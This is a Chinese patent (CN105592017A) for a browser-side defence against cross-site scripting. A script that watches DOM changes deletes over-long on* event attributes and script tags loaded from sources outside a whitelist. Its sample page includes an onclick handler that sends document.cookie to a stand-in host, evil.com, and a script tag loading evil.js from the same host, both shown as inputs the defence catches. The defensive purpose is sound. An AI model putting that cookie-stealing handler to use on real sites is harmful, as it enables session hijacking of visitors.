CN105592017A

CN105592017A - 跨站脚本攻击的防御方法及系统

Info

Publication number: CN105592017A
Application number: CN201410599373.5A
Authority: CN
Inventors: 刘磊
Original assignee: Alibaba Group Holding Ltd
Current assignee: Alibaba Group Holding Ltd
Priority date: 2014-10-30
Filing date: 2014-10-30
Publication date: 2016-05-18
Anticipated expiration: 2034-10-30
Also published as: CN105592017B

Abstract

本申请公开了一种跨站脚本攻击的防御方法，该方法包括：接收服务器发送的网页数据，所述网页数据包括检测装置脚本；对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；如果脚本标签具有源地址属性时，当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签。本申请可以准确地检测到攻击事件，实时地对攻击事件进行拦截、处理和报警，运行效率高，对网站起到良好的防御功能。

Description

跨站脚本攻击的防御方法及系统

技术领域

本申请涉及网站安全的技术领域，尤其涉及跨站脚本攻击的防御方法及系统。

背景技术

跨站脚本攻击(CrossSiteScripting，XSS)，攻击者往网页里嵌入恶意代码，当客户端获取网页数据时，嵌入的恶意代码被执行，达到恶意攻击的目的。利用网站漏洞盗取信息，以及进行非法操作，如盗取网银帐号、管理员帐号或商业资料，控制企业数据(读取、篡改、添加、删除企业敏感数据)，非法转账，强制发送电子邮件或网站挂马等等。可见XSS构成了网络业务的最大威胁之一，不仅危害了业务本身，对访问网络业务的用户也会带来了影响。所以防御跨站脚本攻击，能够保障网络业务的安全性。

现有的XSS的防御方法，通常有以下两种方式来防御XSS：

方法一：采用特征匹配方式，在所有提交的信息中都进行检查，即对“javascript”这个关键词进行检索，一旦发现提交的信息中包含“javascript”，就报警认定为攻击事件。但是,这样会检测到大量的非攻击事件，并且攻击者可以通过插入字符或完全编码的方式躲避检测，导致检测结果不准确。

方法二：在用户数据输入到客户端之前，对用户数据进行相关的转义和过滤的方式，将用户数据转义成信任的数据，以及将用户数据进行白名单或者黑名单过滤，从而输出无攻击性的数据到客户端。对用户数据进行转义和过滤时，需要考虑各种客户端的执行环境，运行效率低。当客户端浏览器处理完网页数据之后，采用额外的代码，对网页数据中的脚本和内联脚本扫描分析。但是由于扫描的时机发生在页面加载完成之后，如果黑客将攻击完之后的事件删除，就检测不到跨站脚本攻击的事件了。

发明内容

本申请实施例的目的是，提供一种跨站脚本攻击的防御方法及系统，以解决现有技术中在跨站脚本攻击的防御中，检测到非攻击事件、检测不到攻击事件、运行效率低以及检测不准确问题。

为实现上述目的，本申请提供了如下方案：

一种跨站脚本攻击的防御方法，所述方法包括：接收服务器发送的网页数据，所述网页数据包括检测装置脚本；对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；如果脚本标签具有源地址属性时，当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签。

一种跨站脚本攻击的防御系统，所述系统包括：接收单元，用于接收服务器发送的网页数据，所述网页数据包括检测装置脚本；创建单元，用于对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；获取单元，用于当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；处理单元，用于当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；检测单元，用于当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；所述处理单元，还用于如果脚本标签具有源地址属性时，当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签。

根据本申请提供的具体实施例，本申请公开了以下技术效果：

本申请实施例提供的跨站脚本攻击的防御方法及系统，接收服务器发送的网页数据，所述网页数据包括检测装置脚本；对网页数据进行处理时，将网页数据创建为模型；当检测到模型包括第一属性事件时，当第一属性事件的第一属性值大于第一阈值时，报警并删除第一属性事件；当检测到模型包括脚本标签时，当检测到脚本标签的源地址属性的路径不属于第一区域时，报警并删除脚本标签。可以准确地检测到攻击事件，实时地对攻击事件进行拦截、处理和报警，运行效率高，对网站起到良好的防御功能。

当然，实施本申请的任一产品并不一定需要同时达到以上所述的所有优点。

附图说明

为了更清楚地说明本申请实施例或现有技术中的技术方案，下面将对实施例中所需要使用的附图作简单地介绍，显而易见地，下面描述中的附图仅仅是本申请的一些实施例，对于本领域普通技术人员来讲，在不付出创造性劳动的前提下，还可以根据这些附图获得其他的附图。

图1为本申请实施例一提供的跨站脚本攻击的防御方法流程图；

图2为本申请实施例二提供的跨站脚本攻击的防御方法具体流程图；

图3为本申请实施例三提供的跨站脚本攻击的防御系统示意图。

具体实施方式

为了更好地理解本申请，下面通过附图和实施例，对本发明的技术方案做进一步的详细描述。

本申请实施例提供的跨站脚本攻击的防御方法，应用于防御网站被跨站脚本攻击。首先,当客户端向服务器发送请求后，接收到服务器的响应消息，服务器将响应消息的网页在网站上展示时，在网页数据中会被跨站嵌入的恶意代码攻击网页数据的脚本。本申请实施例提供的跨站脚本攻击的防御方法，可以防御网页数据的脚本被跨站攻击，使得客户端接收到安全的网页数据。

实施例一

图1为本申请实施例一提供的跨站脚本攻击的防御方法流程图。本实例适用于网页数据的处理场景，并且该实施例可以由客户端执行。

如图1所示，本申请跨站脚本攻击的防御方法具体包括以下步骤：

步骤101、接收服务器发送的网页数据，所述网页数据包括检测装置脚本；

客户端接收服务器发送的网页数据。首先,客户端给服务器发送请求，再接收服务器响应的网页数据。这里的网页数据与普通的网页数据不同之处在于，网页数据包括检测装置脚本。

可选地，所述检测装置脚本位于所述网页数据头标签后的第一行。例如，所述检测装置脚本位于所述网页数据头head标签后的第一行。检测装置脚本用于检测网页数据动态变化的行为，防御网页数据被攻击。检测装置脚本位于所述网页数据头标签后的第一行时，可以快速的检测到网页数据动态变化的行为发生，有效地避免网页数据被攻击，提高了客户端的防御效率。

例如，网页数据的检测装置脚本：<metacharset＝"utf-8">；<metahttp-equiv＝"X-UA-Compatible"content＝"IE＝edge">。下面的代码是服务器发送的网页数据的示例：

<！DOCTYPEhtml>

<htmllang＝"zh-CN">

<head>

<！--监控检测脚本-->

varobserver＝newMutationObserver(function(mutations){

//在文档的最开始，就注册页面DOM改变的事件

//后面所有DOM的改变，都会触发该函数

//mutations包含了变动元素的标签和属性等等所有信息

})；

observer.observe(document,{

subtree:true,

childList:true

})；

document.addEventListener('DOMNodeInserted',function(e){

//当页面节点被插入的时候，这里可以进行捕获，从而进行处理

},true)；

</script>

<！--监控检测脚本-->

<metacharset＝"utf-8">

<metahttp-equiv＝"X-UA-Compatible"content＝"IE＝edge">

<！--危险的脚本引入-->

<scriptsrc＝"http://www.evil.com/evil.js"></script>

<！--收信人的脚本-->

<scriptsrc＝"http://www.trust.com/trust.js"></script>

</head>

<body>

<h1>1Hello,world！</h1>

<！--onclick属性值是无害的-->

<buttonclass＝"ok"onclick＝"alert()；">OKClickMe</button>

<！--onclick属性值是有害-->

<buttonclass＝"nook"

onclick＝'functionevil(){varcookie＝document.cookie；varremoteUrl＝"http://www.evil.com/logs？cookie＝"；varimg＝newImage()；img.src＝remoteUrl+cookie；img＝null；}'>

noOKClickMe

</button></body></html>

步骤102、对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；

客户端对网页数据进行渲染处理，根据网页数据的排列顺序，将网页数据创建为模型。模型为文件对象模型(DocumentObjectModel，DOM)，处理可扩展置标语言的标准编程接口。根据DOM模型，在超文本标记语言(HypertextMarkupLanguage，HTML)文档中的每个成分都是一个节点。整个文档是一个文档节点，每个HTML标签是一个元素节点，包含在HTML元素中的文本是文本节点，每一个HTML属性是一个属性节点，注释属于注释节点。

可选地，将网页数据创建为模型具体还包括：将变动触发事件和插入触发事件添入所述网页数据中，用以当模型变动或插入时，触发检测装置脚本。

例如，添加变动触发事件：

varobserver＝newMutationObserver(function(mutations)：

以及插入触发事件:

observer.observe(document,{subtree:true,childList:true})；document.addEventListener('DOMNodeInserted',function(e)

当网页数据变动或插入时，触发检测装置脚本。

步骤103、当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；

第一属性事件为以on开头的属性事件，例如：点击onclick，点击控件区域触发onmouseenter，因为以on开头的这些属性事件是可以执行脚本javascript代码的，有可能是跨站脚本攻击事件。

下面是检测以on开头的属性事件的代码示例：

varattrs＝node.attributes；

for(varj＝0；j<attrs.length；j++){

varattr＝attrs[j]；

if(attr.indexOf('on')＝＝＝0)

可选地，计算所述第一属性事件的第一属性值的长度。

例如，在步骤101中的示例中，检测到第一属性事件:

onclick＝'functionevil(){varcookie＝document.cookie；varremoteUrl＝"http://www.evil.com/logs？cookie＝"；varimg＝newImage()；img.src＝remoteUrl+cookie；img＝null；}'

即,检测到DOM模型包括以on开头的第一属性事件，获取以on开头的第一属性事件的属性值：

'functionevil(){varcookie＝document.cookie；varremoteUrl＝"http://www.evil.com/logs？cookie＝"；

varimg＝newImage()；

img.src＝remoteUrl+cookie；img＝null；}'

并计算以on开头的第一属性事件的第一属性值的长度。

步骤104、当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；

通常跨站脚本攻击事件的属性值比较长，所以可以通过属性值的长度来辨别事件是否为攻击事件。

下面是当第一属性值的长度大于第一阈值时，报警并删除第一属性事件的代码示例：

if(node.getAttribute(attr).length>thresHold){//判断该属性值的长度是否大于阈值，如果是，则报警并删除该属性

node.removeAttribute(attr)

如果在步骤103中检测到了以on开头的第一属性事件的第一属性值的长度，大于第一阈值时，报警并删除onclick＝'functionevil(){varcookie＝document.cookie；varremoteUrl＝"http://www.evil.com/logs？cookie＝"；varimg＝newImage()；img.src＝remoteUrl+cookie；img＝null；}'。

步骤105、当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；

当检测到DOM模型包括脚本标签script时，检测脚本标签script是否具有源地址(source，src)属性。

例如：检测到脚本标签:

<scriptsrc＝"http://www.evil.com/evil.js"></script>，src＝"http://www.evil.com/evil.js"，script的源地址属性src有值。

步骤106、如果脚本标签具有源地址属性时，当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签。

可选地，所述方法还包括：获取服务端设置的所述第一区域的名单，所述第一区域的名单为所述服务端设置的白名单。

第一区域可以为服务端设置的白名单，客户端获取白名单，在客户端中，经常应用到黑白名单规则，例如,邮件客户端，如果设立了白名单，则在白名单中的用户(或IP地址、IP包、邮件等)会优先通过，不会被当成垃圾邮件拒收，安全性和快捷性都大大提高。黑名单启用后，被列入到黑名单的用户(或IP地址、IP包、邮件、病毒等)不能通过。

路径(UniformResourceLocator，URL)，绝对URL-指向其他站点(比如src＝"http://www.example.com/")；相对URL-指向站点内的文件(比如src＝"/E/image.gif")。

如果脚本标签具有源地址属性，但脚本标签的源地址属性的路径不属于白名单内，报警并删除脚本标签。

例如，http://www.evil.com/evil.js是script的源地址属性的路径，如果http://www.evil.com/evil.js不属于白名单时，报警并删除脚本标签<scriptsrc＝"http://www.evil.com/evil.js"></script>。

在本实施例中，步骤103-104与步骤105-106之间无先后顺序。即可以先执行步骤105-106，再执行步骤103-104。

最后，将所述模型处理为网页并展示，用以供用户查阅。

本申请实施例提供的跨站脚本攻击的防御方法，接收服务器发送的网页数据，所述网页数据包括检测装置脚本；对网页数据进行处理时，将网页数据创建为模型；当检测到模型包括第一属性事件时，当第一属性事件的第一属性值大于第一阈值时，报警并删除第一属性事件；当检测到模型包括脚本标签时，当检测到脚本标签的源地址属性的路径不属于第一区域时，报警并删除脚本标签。可以准确地检测到攻击事件，实时地对攻击事件进行拦截、处理和报警，运行效率高，对网站起到良好的防御功能，使得客户端接收到安全的网页数据。

实施例二

图2为本申请实施例二提供的跨站脚本攻击的防御方法具体流程图。本实例适用于网页数据的处理场景，并且该实施例可以由客户端执行，该实施例二与实施例一相同或相似之处可相互参照。

如图2所示，本申请跨站脚本攻击的防御方法具体包括以下步骤：

步骤201、接收服务器发送的网页数据，网页数据包括检测装置脚本；

检测装置脚本位于网页数据头标签后的第一行。

步骤202、对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；

可选地，所述将网页数据创建为模型具体还包括：将变动触发事件和插入触发事件添入所述网页数据中，用以当所述模型发生变动或插入时，触发所述检测装置脚本。

步骤203、检测模型是否包括第一属性事件；

如果模型包括第一属性事件，转步骤204；如果模型不包括第一属性事件，转步骤208。

步骤204、当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；

步骤205、计算第一属性事件的第一属性值的长度；

步骤206、检测第一属性值的长度是否大于第一阈值；

如果第一属性值的长度大于第一阈值，转步骤207；如果第一属性值的长度不大于第一阈值，转步骤208。

步骤207、当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；

步骤208、检测模型是否包括脚本标签；

如果模型包括脚本标签，转步骤209；如果模型不包括脚本标签，转步骤213。

步骤209、当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；

如果脚本标签具有源地址属性，转步骤210；如果脚本标签不具有源地址属性，转步骤213。

步骤210、获取服务端设置的所述第一区域的名单；

所述第一区域的名单为所述服务端设置的白名单。

步骤211、检测源地址属性的路径是否属于第一区域；

如果源地址属性的路径属于第一区域，转步骤213；如果源地址属性的路径不属于第一区域，转步骤212。

步骤212、当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签；

第一区域为客户端设置的白名单。

步骤213、将模型处理为网页并展示。

本申请实施例提供的跨站脚本攻击的防御方法，可以准确地检测到攻击事件，实时地对攻击事件进行拦截、处理和报警，运行效率高，对网站起到良好的防御功能，使得客户端接收到安全的网页数据。

实施例三

与本申请实施例一提供的跨站脚本攻击的防御方法相对应，本申请实施例三还提供了一种跨站脚本攻击的防御系统，该系统是客户端，参见图3，该系统具体可以包括：接收单元301、创建单元302、获取单元303、处理单元304和检测单元305。

接收单元301，用于接收服务器发送的网页数据，所述网页数据包括检测装置脚本；

创建单元302，用于对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；

获取单元303，用于当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；

处理单元304，用于当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；

检测单元305，用于当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；

所述处理单元304，还用于如果脚本标签具有源地址属性时，当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签。

所述检测装置脚本位于所述网页数据头标签后的第一行。

所述系统还可以包括：

添入单元，用于将变动触发事件和插入触发事件添入所述网页数据中，用以当所述模型发生变动或插入时，触发所述检测装置脚本。

所述系统还可以包括：计算单元，用于计算所述第一属性事件的第一属性值的长度。

所述获取单元，还用于获取服务端设置的所述第一区域的名单，所述第一区域的名单为所述服务端设置的白名单。

所述处理单元还用于，将所述模型处理为网页并展示。

本申请实施例提供的跨站脚本攻击的防御系统，接收服务器发送的网页数据，所述网页数据包括检测装置脚本；对网页数据进行处理时，将网页数据创建为模型；当检测到模型包括第一属性事件时，当第一属性事件的第一属性值大于第一阈值时，报警并删除第一属性事件；当检测到模型包括脚本标签时，当检测到脚本标签的源地址属性的路径不属于第一区域时，报警并删除脚本标签。可以准确地检测到攻击事件，实时地对攻击事件进行拦截、处理和报警，运行效率高，对网站起到良好的防御功能，使得客户端接收到安全的网页数据。

一种网站安全系统，所述系统包括如图3所述的跨站脚本攻击的防御系统。

一种网站检测系统，所述系统包括如图3所述的跨站脚本攻击的防御系统。

本说明书中的各个实施例均采用递进的方式描述，各个实施例之间相同相似的部分互相参见即可，每个实施例重点说明的都是与其他实施例的不同之处。尤其，对于系统或系统实施例而言，由于其与方法实施例相似，所以描述得比较简单，相关之处参见方法实施例的部分说明即可。以上所描述的系统及系统实施例仅仅是示意性的，其中所述作为分离部件说明的单元可以是或者也可以不是物理上分开的，作为单元显示的部件可以是或者也可以不是物理单元，即可以位于一个地方，或者也可以分布到多个网络单元上。可以根据实际的需要选择其中的部分或者全部模块来实现本实施例方案的目的。本领域普通技术人员在不付出创造性劳动的情况下，即可以理解并实施。

本领域普通技术人员应该还可以进一步意识到，结合本文中所公开的实施例描述的各示例的单元及算法步骤，能够以电子硬件、计算机软件或者二者的结合来实现，为了清楚地说明硬件和软件的可互换性，在上述说明中已经按照功能一般性地描述了各示例的组成及步骤。这些功能究竟以硬件还是软件方式来执轨道，取决于技术方案的特定应用和设计约束条件。本领域普通技术人员可以对每个特定的应用来使用不同方法来实现所描述的功能，但是这种实现不应认为超出本申请的范围。

结合本文中所公开的实施例描述的方法或算法的步骤可以用硬件、处理器执轨道的软件模块，或者二者的结合来实施。软件模块可以置于随机存储器(RAM)、内存、只读存储器(ROM)、电可编程ROM、电可擦除可编程ROM、寄存器、硬盘、可移动磁盘、CD-ROM、或技术领域内所公知的任意其它形式的存储介质中。

以上所述的具体实施方式，对本申请的目的、技术方案和有益效果进轨道了进一步详细说明，所应理解的是，以上所述仅为本申请的具体实施方式而已，并不用于限定本申请的保护范围，凡在本申请的精神和原则之内，所做的任何修改、等同替换、改进等，均应包含在本申请的保护范围之内。

Claims

1.一种跨站脚本攻击的防御方法，其特征在于，所述方法包括：

接收服务器发送的网页数据，所述网页数据包括检测装置脚本；

对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；

当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；

当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；

当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；

如果脚本标签具有源地址属性时，当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签。

2.根据权利要求1所述的跨站脚本攻击的防御方法，其特征在于，

所述检测装置脚本位于所述网页数据头标签后的第一行。

3.根据权利要求1所述的跨站脚本攻击的防御方法，其特征在于，所述将网页数据创建为模型具体还包括：将变动触发事件和插入触发事件添入所述网页数据中，用以当所述模型发生变动或插入时，触发所述检测装置脚本。

4.根据权利要求1所述的跨站脚本攻击的防御方法，其特征在于，所述方法还包括：计算所述第一属性事件的第一属性值的长度。

5.根据权利要求1所述的跨站脚本攻击的防御方法，其特征在于，所述方法还包括：获取服务端设置的所述第一区域的名单，所述第一区域的名单为所述服务端设置的白名单。

6.根据权利要求1所述的跨站脚本攻击的防御方法，其特征在于，所述方法还包括：将所述模型处理为网页并展示。

7.一种跨站脚本攻击的防御系统，其特征在于，所述系统包括：

接收单元，用于接收服务器发送的网页数据，所述网页数据包括检测装置脚本；

创建单元，用于对网页数据进行处理时，根据网页数据的排列顺序，将网页数据创建为模型；

获取单元，用于当检测到模型包括第一属性事件时，获取第一属性事件的第一属性值；

处理单元，用于当第一属性值的长度大于第一阈值时，报警并删除第一属性事件；

检测单元，用于当检测到模型包括脚本标签时，检测脚本标签是否具有源地址属性；

所述处理单元，还用于如果脚本标签具有源地址属性时，当检测到源地址属性的路径不属于第一区域时，报警并删除脚本标签。

8.根据权利要求7所述的跨站脚本攻击的防御系统，其特征在于，

所述检测装置脚本位于所述网页数据头标签后的第一行。

9.根据权利要求7所述的跨站脚本攻击的防御系统，其特征在于，所述系统还包括：

10.根据权利要求7所述的跨站脚本攻击的防御系统，其特征在于，所述系统还包括：计算单元，用于计算所述第一属性事件的第一属性值的长度。

11.根据权利要求7所述的跨站脚本攻击的防御系统，其特征在于，所述获取单元，还用于获取服务端设置的所述第一区域的名单，所述第一区域的名单为所述服务端设置的白名单。

12.根据权利要求7所述的跨站脚本攻击的防御系统，其特征在于，所述处理单元还用于，将所述模型处理为网页并展示。

13.一种网站安全系统，其特征在于，所述系统包括如权利要求7-12任一项所述的跨站脚本攻击的防御系统。

14.一种网站检测系统，其特征在于，所述系统包括如权利要求7-12任一项所述的跨站脚本攻击的防御系统。